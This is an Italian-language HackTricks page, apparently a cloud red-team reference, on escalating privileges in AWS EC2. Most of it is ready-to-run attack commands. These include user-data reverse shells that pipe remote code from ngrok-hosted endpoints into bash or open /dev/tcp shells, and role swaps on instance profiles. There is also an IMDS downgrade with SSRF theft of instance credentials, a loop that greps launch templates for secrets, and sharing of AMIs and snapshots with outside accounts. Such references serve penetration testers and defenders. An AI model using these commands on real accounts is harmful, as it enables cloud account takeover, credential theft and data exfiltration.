AWS - EC2 Privesc

Reading time: 13 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

EC2

Per maggiori informazioni su EC2 consulta:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

iam:PassRole, ec2:RunInstances

Un attaccante potrebbe creare un'istanza assegnandole un ruolo IAM e poi accedere all'istanza per rubare le credenziali del ruolo IAM dall'endpoint dei metadati.

  • Accesso via SSH

Avvia una nuova istanza usando una ssh key creata (--key-name) e poi connettiti via ssh (se vuoi crearne una nuova potresti aver bisogno del permesso ec2:CreateKeyPair).

bash
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
--security-group-ids <sg-id>
  • Accesso via rev shell in user data

Puoi avviare una nuova instance usando una user data (--user-data) che ti aprirà una rev shell. Non è necessario specificare il security group in questo modo.

bash
echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> \
--count 1 \
--user-data "file:///tmp/rev.sh"

Fai attenzione a GuradDuty se usi le credenziali dell'IAM role al di fuori dell'istanza:

AWS - GuardDuty Enum

Impatto potenziale: Privesc diretto a qualsiasi EC2 role attached to existing instance profiles.

Privesc a ECS

Con questo set di permessi potresti anche create an EC2 instance and register it inside an ECS cluster. In questo modo, ECS services verranno run all'interno dell'EC2 instance a cui hai accesso e poi puoi penetrare quei servizi (docker containers) e steal their ECS roles attached.

bash
aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
--instance-type t2.micro \
--iam-instance-profile <ECS_role> \
--count 1 --key-name pwned \
--user-data "file:///tmp/asd.sh"

# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
# The EC2 instance profile needs basic ECS access
# The content of the user data is:
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;

Per sapere come forzare l'esecuzione dei servizi ECS in questa nuova istanza EC2 controlla:

AWS - ECS Privesc

Se non puoi creare una nuova istanza ma hai il permesso ecs:RegisterContainerInstance potresti essere in grado di registrare l'istanza all'interno del cluster ed eseguire l'attacco descritto.

Impatto potenziale: privesc diretto ai ruoli ECS associati ai task.

iam:PassRole, iam:AddRoleToInstanceProfile

Simile allo scenario precedente, un attaccante con questi permessi potrebbe modificare il ruolo IAM di un'istanza compromessa così da poter rubare nuove credenziali.
Poiché un instance profile può avere solo 1 ruolo, se l'instance profile ha già un ruolo (caso comune), avrai anche bisogno di iam:RemoveRoleFromInstanceProfile.

bash
# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>

# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>

Se l'instance profile ha un role e l'attaccante non può rimuoverlo, c'è un'altra soluzione. Potrebbe trovare un instance profile senza role o crearne uno nuovo (iam:CreateInstanceProfile), aggiungere il role a quell'instance profile (come discusso in precedenza), e associare l'instance profile compromised a un instance:

  • Se l'instance non ha alcun instance profile (ec2:AssociateIamInstanceProfile)
bash
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>

Impatto potenziale: Privesc diretto a un ruolo EC2 diverso (devi aver compromesso un'istanza AWS EC2 e avere permessi aggiuntivi o uno specifico stato dell'instance profile).

iam:PassRole(( ec2:AssociateIamInstanceProfile& ec2:DisassociateIamInstanceProfile) || ec2:ReplaceIamInstanceProfileAssociation)

Con questi permessi è possibile cambiare l'instance profile associato a un'istanza, quindi se l'attaccante aveva già accesso a un'istanza potrà rubare credenziali per più instance profile roles modificando quello associato.

  • Se ha un instance profile, puoi rimuovere l'instance profile (ec2:DisassociateIamInstanceProfile) e associarlo
bash
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
  • oppure sostituire il instance profile dell'istanza compromessa (ec2:ReplaceIamInstanceProfileAssociation).
bash
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>

Impatto potenziale: Privesc diretto a un diverso EC2 role (è necessario aver compromesso una AWS EC2 instance e avere qualche permesso extra o uno specifico instance profile status).

ec2:RequestSpotInstances,iam:PassRole

Un attacker con i permessi ec2:RequestSpotInstancesandiam:PassRole può richiedere una Spot Instance con un EC2 Role attached e una rev shell nel user data.
Una volta che l'istanza è avviata, può rubare l'IAM role.

bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 request-spot-instances \
--instance-count 1 \
--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"

ec2:ModifyInstanceAttribute

Un attaccante con la ec2:ModifyInstanceAttribute può modificare gli attributi dell'istanza. Tra questi, può change the user data, il che implica che può far run arbitrary data sull'istanza. Questo può essere usato per ottenere una rev shell to the EC2 instance.

Nota che gli attributi possono essere modificati solo mentre l'istanza è ferma, quindi sono necessarie le autorizzazioni ec2:StopInstances e ec2:StartInstances.

bash
TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0

--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"

#cloud-config
cloud_final_modules:
- [scripts-user, always]

--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"

#!/bin/bash
bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1
--//'
TEXT_PATH="/tmp/text.b64.txt"

printf $TEXT | base64 > "$TEXT_PATH"

aws ec2 stop-instances --instance-ids $INSTANCE_ID

aws ec2 modify-instance-attribute \
--instance-id="$INSTANCE_ID" \
--attribute userData \
--value file://$TEXT_PATH

aws ec2 start-instances --instance-ids $INSTANCE_ID

Potential Impact: privesc diretto a qualsiasi EC2 IAM Role associato a un'istanza creata.

ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplate,ec2:ModifyLaunchTemplate

Un attaccante con i permessi ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplateand ec2:ModifyLaunchTemplate può creare una nuova versione del Launch Template con una rev shell nel user data e qualsiasi EC2 IAM Role su di essa, cambiare la versione di default, e qualsiasi Autoscaler group using quel Launch Template che è configurato per usare la latest o la default version riavvierà le istanze usando quel template ed eseguirà la rev shell.

bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 create-launch-template-version \
--launch-template-name bad_template \
--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"

aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2

Impatto potenziale: Privesc diretto a un EC2 role diverso.

(autoscaling:CreateLaunchConfiguration | ec2:CreateLaunchTemplate), iam:PassRole, (autoscaling:CreateAutoScalingGroup | autoscaling:UpdateAutoScalingGroup)

Un attaccante con i permessi autoscaling:CreateLaunchConfiguration,autoscaling:CreateAutoScalingGroup,iam:PassRole può creare una Launch Configuration con un IAM Role e una rev shell all'interno dei user data, poi creare un autoscaling group da quella config e attendere che la rev shell riesca a rubare l'IAM Role.

bash
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
--image-id ami-0c1bc246476a5572b \
--instance-type t3.micro \
--iam-instance-profile EC2-CloudWatch-Agent-Role \
--user-data "$REV"

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--auto-scaling-group-name bad_auto \
--min-size 1 --max-size 1 \
--launch-configuration-name bad_config \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"

Potenziale impatto: Direct privesc to a different EC2 role.

!autoscaling

Il set di permessi ec2:CreateLaunchTemplate e autoscaling:CreateAutoScalingGroup non è sufficiente per escalare i privilegi a un IAM role perché, per associare il role specificato nella Launch Configuration o nella Launch Template, sono necessari i permessi iam:PassRole e ec2:RunInstances (che è un privesc noto).

ec2-instance-connect:SendSSHPublicKey

Un attaccante con il permesso ec2-instance-connect:SendSSHPublicKey può aggiungere una chiave ssh a un utente e usarla per accedervi (se ha accesso ssh all'istanza) o per escalare i privilegi.

bash
aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"

Impatto potenziale: Privesc diretto alle EC2 IAM roles associate alle istanze in esecuzione.

ec2-instance-connect:SendSerialConsoleSSHPublicKey

Un attaccante con il permesso ec2-instance-connect:SendSerialConsoleSSHPublicKey può aggiungere una ssh key a una connessione seriale. Se la console seriale non è abilitata, l'attaccante ha bisogno del permesso ec2:EnableSerialConsoleAccess per abilitarla.

Per connettersi alla porta seriale è inoltre necessario conoscere lo username e la password di un utente all'interno della macchina.

bash
aws ec2 enable-serial-console-access

aws ec2-instance-connect send-serial-console-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--serial-port 0 \
--region "eu-west-1" \
--ssh-public-key "file://$PUBK_PATH"

ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws

Questo metodo non è molto utile per il privesc poiché è necessario conoscere uno username e una password per sfruttarlo.

Impatto potenziale: (Altamente non verificabile) Accesso diretto di privesc ai EC2 IAM roles associati alle istanze in esecuzione.

describe-launch-templates,describe-launch-template-versions

Poiché i launch templates hanno versioning, un attaccante con le autorizzazioni ec2:describe-launch-templates e ec2:describe-launch-template-versions potrebbe sfruttarli per scoprire informazioni sensibili, come credenziali presenti nei user data. Per fare ciò, lo script seguente scorre tutte le versioni dei launch template disponibili:

bash
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
echo "[*] Analyzing $i"
aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata
do
echo "VersionNumber: $version"
echo "$userdata" | base64 -d
echo
done | grep -iE "aws_|password|token|api"
done

Nei comandi sopra, anche se stiamo specificando alcuni pattern (aws_|password|token|api), puoi usare una regex diversa per cercare altri tipi di informazioni sensibili.

Se troviamo aws_access_key_id e aws_secret_access_key, possiamo usare queste credenziali per autenticarsi su AWS.

Potenziale impatto: Escalation diretta dei privilegi a IAM user(s).

Riferimenti

ec2:ModifyInstanceMetadataOptions (downgrade di IMDS per abilitare il furto di credenziali via SSRF)

Un attaccante con la capacità di chiamare ec2:ModifyInstanceMetadataOptions su un'istanza EC2 vittima può indebolire le protezioni IMDS abilitando IMDSv1 (HttpTokens=optional) e aumentando il HttpPutResponseHopLimit. Questo rende l'endpoint dei metadata dell'istanza raggiungibile tramite percorsi SSRF/proxy comuni da applicazioni in esecuzione sull'istanza. Se l'attaccante può innescare una SSRF in tale app, può recuperare le credenziali dell'instance profile e pivotare con esse.

  • Permessi richiesti: ec2:ModifyInstanceMetadataOptions sull'istanza target (più la capacità di raggiungere/innescare una SSRF sull'host).
  • Risorsa target: l'istanza EC2 in esecuzione con un instance profile allegato (IAM role).

Esempio di comandi:

bash
# 1) Check current metadata settings
aws ec2 describe-instances --instance-id <INSTANCE_ID> \
--query 'Reservations[0].Instances[0].MetadataOptions'

# 2) Downgrade IMDS protections (enable IMDSv1 and raise hop limit)
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
--http-endpoint enabled --http-tokens optional \
--http-put-response-hop-limit 3 --instance-metadata-tags enabled

# 3) Through the SSRF, enumerate role name
curl "http://<VICTIM_PUBLIC_IP>:<APP_PORT>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

# 4) Through the SSRF, steal the temporary credentials
curl "http://<VICTIM_PUBLIC_IP>:<APP_PORT>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>"

# 5) Use the stolen credentials
export AWS_ACCESS_KEY_ID=<AccessKeyId>
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
export AWS_SESSION_TOKEN=<Token>
aws sts get-caller-identity

# 6) Restore protections (require IMDSv2, low hop limit)
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
--http-tokens required --http-put-response-hop-limit 1

Impatto potenziale: Theft of instance profile credentials via SSRF leading to privilege escalation and lateral movement with the EC2 role permissions.

ec2:ModifyInstanceMetadataOptions

Un attaccante con il permesso ec2:ModifyInstanceMetadataOptions può indebolire le protezioni dell'Instance Metadata Service (IMDS) — per esempio forzando IMDSv1 (rendendo HttpTokens non obbligatori) o aumentando HttpPutResponseHopLimit — facilitando così l'esfiltrazione di credenziali temporanee. Il vettore di rischio più rilevante è l'aumento di HttpPutResponseHopLimit: aumentando quel hop limit (TTL), l'endpoint 169.254.169.254 cessa di essere strettamente limitato al network namespace della VM e può diventare raggiungibile da altri processi/containers, consentendo il furto di credenziali.

bash
aws ec2 modify-instance-metadata-options \
--instance-id <INSTANCE_ID> \
--http-tokens optional \
--http-endpoint enabled \
--http-put-response-hop-limit 2

ec2:ModifyImageAttribute, ec2:ModifySnapshotAttribute

Un attaccante con i permessi ec2:ModifyImageAttribute e ec2:ModifySnapshotAttribute può condividere AMI o snapshot con altri account AWS (o addirittura renderli pubblici), esponendo immagini o volumi che possono contenere dati sensibili come configurazioni, credenziali, certificati o backup. Modificando le launch permissions di un AMI o le create-volume permissions di uno snapshot, l'attaccante permette a terzi di avviare istanze o montare dischi da quelle risorse e accedere ai loro contenuti.

Per condividere un AMI con un altro account:

bash
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

Per condividere un EBS snapshot con un altro account:

bash
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks